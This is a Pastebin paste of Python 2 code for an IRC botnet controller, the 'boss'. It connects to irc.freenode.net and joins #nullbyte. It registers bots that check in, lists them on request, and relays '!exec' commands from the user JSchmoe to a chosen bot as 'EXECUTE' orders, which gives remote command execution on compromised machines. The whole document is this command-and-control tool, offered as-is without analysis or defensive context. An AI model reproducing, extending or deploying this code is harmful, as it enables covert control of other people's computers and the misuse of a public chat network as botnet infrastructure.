JSchmoe

IRC boss

Jan 24th, 2016
42
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. import sys
  3. import socket
  4. import string
  5. import subprocess
  6. import ipgetter
  7. from time import sleep
  8.  
  9. HOST="irc.freenode.net"
  10. PORT=6667
  11. NICK="BotnetBoss"
  12. IDENT="boss"
  13. REALNAME="boss"
  14. readbuffer=""
  15. channel="#nullbyte"
  16. bots = []
  17.  
  18. s=socket.socket( )
  19.  
  20. def connect():
  21.     s.connect((HOST, PORT))
  22.     s.send("NICK %s\r\n" % NICK)
  23.     s.send("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME))
  24.     print("Connected")
  25.     while 1:
  26.         print("Waiting for recv")
  27.         global readbuffer
  28.         readbuffer=readbuffer+s.recv(1024)
  29.         temp=string.split(readbuffer, "\n")
  30.         readbuffer=temp.pop( )
  31.         for line in temp:
  32.             line=string.rstrip(line)
  33.             line=string.split(line)
  34.             print(line)
  35.             if(line[0]=="PING"):
  36.                 s.send("PONG %s\r\n" % line[1])
  37.                
  38.             elif(line[3]==":+i"):
  39.                 print("Aha!")
  40.                 return
  41.                
  42. def listen():
  43.     s.send("JOIN "+channel+"\r\n")
  44.     s.send("PRIVMSG #nullbyte BOSS:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n")
  45.     while 1:
  46.         global readbuffer
  47.         readbuffer=readbuffer+s.recv(1024)
  48.         temp=string.split(readbuffer, "\n")
  49.         readbuffer=temp.pop( )
  50.         for line in temp:
  51.             line=string.rstrip(line)
  52.             line=string.split(line)
  53.             print(line)
  54.             if(line[0]=="PING"):
  55.                 print("ping")
  56.                 s.send("PONG %s\r\n" % line[1])
  57.                 global bots
  58.                 bots = []
  59.                 s.send("PRIVMSG #nullbyte BOSS:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n")
  60.                 s.sendall("PRIVMSG #nullbyte RESPOND\r\n")
  61.            
  62.             elif len(line) > 3:
  63.                 print("BOTLINE: "+str(line))
  64.                 if "SWM" in line[3]:
  65.                     print("BOTJOINLINE: "+str(line))
  66.                     bot = line[0].split('!')[0].replace(':','')+'|'.join(line[3].split(':')).replace('SWM','').replace('||','|')
  67.                     print(bot)
  68.                     s.send("PRIVMSG #nullbyte Bot added to list: "+bot+" with ID: "+str(int(len(bots)+1))+"\r\n")
  69.                     bots.append(bot+"|"+str(int(len(bots)+1)))
  70.                     print(bots)
  71.                 elif "QUIT" in line[1]:
  72.                     print("dong")
  73.                     bot = line[0].split('!')[0].replace(':','')
  74.                     print(bot)
  75.                     for i in bots:
  76.                         if bot in i:
  77.                             bots.remove(i)
  78.                 elif "STATUS" in line[3]:
  79.                     if not bots:
  80.                         print("test")
  81.                         s.send("PRIVMSG #nullbyte :No bots\r\n")
  82.                     else:
  83.                         for bot in bots:
  84.                             s.send("PRIVMSG #nullbyte "+bot+"\r\n")
  85.                             pass
  86.                 elif "JSchmoe" in line[0] and "!exec" in line[3]:
  87.                     selectedbot = 0
  88.                     print("Executing stuff")
  89.                     botID = line[4]
  90.                     command = ""
  91.                     reply = ""
  92.                     for bot in bots:
  93.                         print(bot)
  94.                         botnum = bot.split('|')[3]
  95.                         print(botnum)
  96.                         if botID == botnum:
  97.                             selectedbot = bot.split('|')[0]
  98.                             break
  99.                     if not selectedbot:
  100.                         s.send("PRIVMSG #nullbyte :Invalid ID\r\n")
  101.                         selectedbot = 0
  102.                     for x in range(5,len(line)):
  103.                         print(line[x])
  104.                         command += str(" "+line[x])
  105.                     print(command)
  106.                     if selectedbot != 0:
  107.                         s.send("PRIVMSG "+selectedbot+" :EXECUTE "+str(command)+"\r\n")
  108. try:
  109.     connect()
  110.     listen()
  111. except KeyboardInterrupt:
  112.     s.sendall("QUIT\r\n")
RAW Paste Data